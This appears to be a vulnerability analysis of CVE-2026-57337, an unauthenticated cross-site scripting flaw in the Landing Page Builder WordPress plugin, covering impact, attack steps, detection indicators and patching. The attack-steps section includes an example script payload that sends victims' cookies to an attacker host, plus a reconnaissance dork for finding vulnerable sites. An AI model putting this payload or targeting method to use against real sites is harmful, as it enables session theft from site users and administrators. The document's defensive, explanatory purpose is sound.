CVE-2026-57337: 
WordPress vulnerability analysis and mitigation

CVE-2026-57337 is an unauthenticated Cross-Site Scripting (XSS) vulnerability in the Landing Page Builder WordPress plugin (also known as page-builder-add) by PluginOps, affecting versions up to and including 1.5.3.5. The vulnerability was reported by researcher HaiND on April 21, 2026, and publicly disclosed on June 29, 2026. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), meaning the plugin fails to properly sanitize or encode user-controllable input before rendering it in web pages served to other users. Because no authentication is required to trigger the flaw, an unauthenticated attacker can inject malicious JavaScript into landing pages. Successful exploitation requires a victim user to interact with the crafted page (e.g., visit a URL or view a page containing the injected payload), and the scope is changed — meaning the injected script executes in the context of the victim's browser rather than the vulnerable component itself (Patchstack, GitHub Advisory).

An unauthenticated attacker can inject and execute arbitrary JavaScript in the browsers of users visiting a compromised landing page, enabling session cookie theft, credential harvesting, redirection to malicious sites, or modification of visible page content. The changed scope means the impact extends beyond the vulnerable plugin itself to affect any user browsing the affected WordPress site. Confidentiality, integrity, and availability are each assessed as Low impact, but the combination and the lack of required privileges make this a meaningful risk for WordPress sites using the plugin (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Landing Page Builder plugin (page-builder-add) at version 1.5.3.5 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:/wp-content/plugins/page-builder-add).
2. Identify injection point: Locate the unsanitized input parameter(s) within the plugin's landing page rendering functionality that reflect user-supplied data without proper encoding.
3. Craft XSS payload: Construct a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable parameter.
4. Deliver payload: Embed the crafted payload in a URL or page element accessible to unauthenticated users, then socially engineer a victim (e.g., an authenticated WordPress administrator) into visiting the page.
5. Achieve objective: When the victim's browser renders the page, the injected script executes — stealing session cookies, capturing credentials, or performing actions on behalf of the victim (Patchstack).

• Network: Outbound HTTP requests from victim browsers to attacker-controlled domains shortly after visiting a landing page; unusual redirects originating from WordPress landing page URLs.
• Logs: WordPress access logs showing requests to landing page URLs containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters or POST bodies.
• File System: Unexpected modifications to plugin files within /wp-content/plugins/page-builder-add/; injected script content stored in the WordPress database within post or page content fields.
• Browser/Application: Users reporting unexpected redirects, pop-ups, or login prompts when visiting landing pages hosted on the affected WordPress site.

The vendor has released version 1.5.3.6 of the Landing Page Builder plugin, which patches this vulnerability. Site administrators should update to version 1.5.3.6 or later immediately via the WordPress plugin dashboard. As a complementary measure, implement Content Security Policy (CSP) headers to restrict unauthorized script execution, validate and sanitize all user inputs server-side, and apply output encoding. Patchstack users benefit from a virtual patch (mitigation rule) that blocks exploitation attempts until the plugin is updated (Patchstack).

Wordfence included this vulnerability in its weekly WordPress vulnerability report covering June 29 – July 5, 2026, reflecting routine industry tracking of WordPress plugin XSS issues. No significant vendor statements beyond the Patchstack advisory or notable researcher commentary beyond the original reporter (HaiND) have been identified. Community coverage has been limited to automated vulnerability aggregators and CVE tracking feeds.